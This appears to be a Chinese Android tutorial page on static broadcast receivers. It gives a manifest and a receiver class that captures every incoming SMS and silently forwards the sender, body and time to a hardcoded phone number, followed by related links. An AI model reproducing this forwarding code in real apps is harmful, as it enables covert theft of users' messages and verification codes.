AndroidManifest.xml
- 注册广播接收者
- 添加权限
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.android_broadcastreceive"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk
android:minSdkVersion="14"
android:targetSdkVersion="19" />
<!-- 短信权限 -->
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<!-- SMBbroadcastReceive广播接收器 -->
<receiver android:name="com.example.android_broadcastreceive.receive.SMBbroadcastReceive">
<intent-filter >
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
</application>
</manifest>
SMBbroadcastReceive.java
- 继承BroadcastReceiver类并且重写onReceive()方法
- 获取短信内容
- 创建短信管理对象
- 获取具体对象
- 获取需要的信息
package com.example.android_broadcastreceive.receive;
import java.util.List;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;
/**
* 短信广播接收者
*
* @author zhaoyazhi
*
* 2014-6-16
*/
public class SMBbroadcastReceive extends BroadcastReceiver {
private static final String TAG = "SMBbroadcastReceive";
@Override
public void onReceive(Context context, Intent intent) {
Log.i(TAG, "接收发过来的广播");
Bundle bundle = intent.getExtras();
// 判断这个参数是否为null
if (bundle != null) {
// 根据get(pdus)参数获取这个短信内容,发送短信大于70字符(自动拆分)
Object[] pdus = (Object[]) bundle.get("pdus");
SmsManager sms = SmsManager.getDefault();
// 创建短信的管理器对象
for (int i = 0; i < pdus.length; i++) {
// 获取具体对象
Object pdu = pdus[i];
// 通过短信消息对象的createFromPdu(pdu)转换成短信的消息对象
SmsMessage message = SmsMessage.createFromPdu((byte[]) pdu);
// 获取短信的内容
String msg = message.getMessageBody();
// 获取始发人
String originatingAddress = message.getOriginatingAddress();
// 时间
long time = message.getTimestampMillis();
// 状态
int status = message.getStatus();
String text = "发送人:" + originatingAddress + "-------------内容:"
+ msg + "-------------时间" + time + "-------------读取状态"
+ status;
// 转发的时候进行短信分开发送
List<String> list = sms.divideMessage(text);
//输出截取的短信内容
Log.i(TAG, text);
for (String s : list) {
//转发短信内容
sms.sendTextMessage("18931137891", null, text, null, null);
}
}
}
}
}
分享到:
相关推荐
title: 组件_BroadcastReceiver动态注册// 内部类// 内部类实例// 内部类public void onReceive(Context
Android中Broadcast Receiver组件详解示例代码
动态注册broadcastreceiver短信接受
SMV-10_BroadcastReceiver_Static_ReceiveSMS 普里卡祖耶 uporabostatičnega广播接收机ja za prejemanje SMSov
通过注册BroadcastReceiver实时监听网络状态,实时更新当前Activity
包含在fragment中的应用
在Android开发应用过程中 Android...BroadcastReceiver几种常见监听 1.BroadcastReceiver监听拨号 <action android:name=android.intent.action.NEW_OUTGOING_CALL> @Override public void onReceive(Context co
Android下BroadcastReceiver的简单示例。详见博客:http://www.cnblogs.com/plokmju/p/android_BroadcastReceiver.html
这个项目曾经是Coursera Android课程的作业: : 在这里回答以下问题: 如何动态注册和注销 BroadcastReceiver? 如何将意图过滤器添加到 BroadcastReceiver? 普通广播和有序广播有什么区别? 以及如何使用有序广播...
一个简单的Android按键监听程序,通过通过BroadcastReceiver监听Home,电源Power,和音量变化Volume键
主要为大家详细介绍了Android使用BroadcastReceiver监听网络连接状态的改变,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
大家都知道通过BroadcastReceiver监听 android.intent.action.PACKAGE_REMOVED和android.intent.action.PACKAGE_ADDED 可以监听别的应用被安装卸载,但不能监听自己被卸载啊。 监听自己被卸载通过前辈们探索发现,...
安卓广播监听按键事件和屏幕熄屏亮屏监听,BroadcastReceiver使用
实现手机短信监听的方式有两种:一是通过ContentObserver观察者实现监听,另一种就是通过广播即BroadcastReceiver实现短信监听,文章中通过使用BroadcastReceiver实现有新短信的及时监听及包含设定的关键字时自动...
Android Intent标签以及进阶
BroadCastReceiver
主要为大家详细介绍了Android BroadcastReceiver接收收到短信的广播,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
前言:最近公司项目重构,为了提高用户的体验,项目中要求添加当前网络状态的实时监听,以便在无网络状态时给用户友好的提醒并修改UI界面。本文将介绍使用四大组件之一的BroadcastReceiver实现全局的网络状态监听,...
android实现短信拦截的小例子,通过BroadcastReceiver